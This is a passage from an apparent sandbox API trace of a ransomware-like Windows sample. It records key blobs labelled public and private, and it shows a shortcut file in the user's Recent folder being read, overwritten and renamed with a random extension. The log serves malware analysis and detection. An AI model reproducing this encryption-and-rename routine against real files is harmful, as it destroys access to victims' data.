EMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0083.059] GetCurrentThreadId () returned 0xa30 [0083.059] GetCurrentThreadId () returned 0xa30 [0083.059] GetCurrentThreadId () returned 0xa30 [0083.059] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0083.060] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0083.060] GetCurrentThreadId () returned 0xa30 [0083.060] GetCurrentThreadId () returned 0xa30 [0083.060] GetCurrentThreadId () returned 0xa30 [0083.060] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Rkv tdZAdg61X2zGJw.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rkv tdzadg61x2zgjw.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.061] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0083.061] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.061] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xed4 [0083.061] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.061] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xed4, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xed4, lpOverlapped=0x0) returned 1 [0083.062] CloseHandle (hObject=0x124) returned 1 [0083.063] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Rkv tdZAdg61X2zGJw.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rkv tdzadg61x2zgjw.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.064] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xed4, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xed4, lpOverlapped=0x0) returned 1 [0083.065] CloseHandle (hObject=0x124) returned 1 [0083.066] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Rkv tdZAdg61X2zGJw.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rkv tdzadg61x2zgjw.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Rkv tdZAdg61X2zGJw.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rkv tdzadg61x2zgjw.lnk.zv7un")) returned 1 [0083.068] GetCurrentThreadId () returned 0xa30 [0083.068] GetCurrentThreadId () returned 0xa30 [0083.068] GetCurrentThreadId () returned 0xa30 [0083.068] GetCurrentThreadId () returned 0xa30 [0083.068] GetCurrentThreadId () returned 0xa30 [0083.068] GetCurrentThreadId () returned 0xa30 [0083.068] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bac8a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2bac8a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2bd2a00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa84, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="rMBc_TwQqbjBeYXCL.lnk", cAlternateFileName="RMBC_T~1.LNK")) returned 1 [0083.068] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0083.068] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0083.068] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rMBc_TwQqbjBeYXCL.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rmbc_twqqbjbeyxcl.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bac8a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2bac8a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2bd2a00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa84)) returned 1 [0083.068] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rMBc_TwQqbjBeYXCL.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rmbc_twqqbjbeyxcl.lnk")) returned 0x20 [0083.068] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rMBc_TwQqbjBeYXCL.lnk", dwFileAttributes=0x80) returned 1 [0083.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0083.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0083.071] GetCurrentThreadId () returned 0xa30 [0083.072] GetCurrentThreadId () returned 0xa30 [0083.072] GetCurrentThreadId () returned 0xa30 [0083.072] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0083.072] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 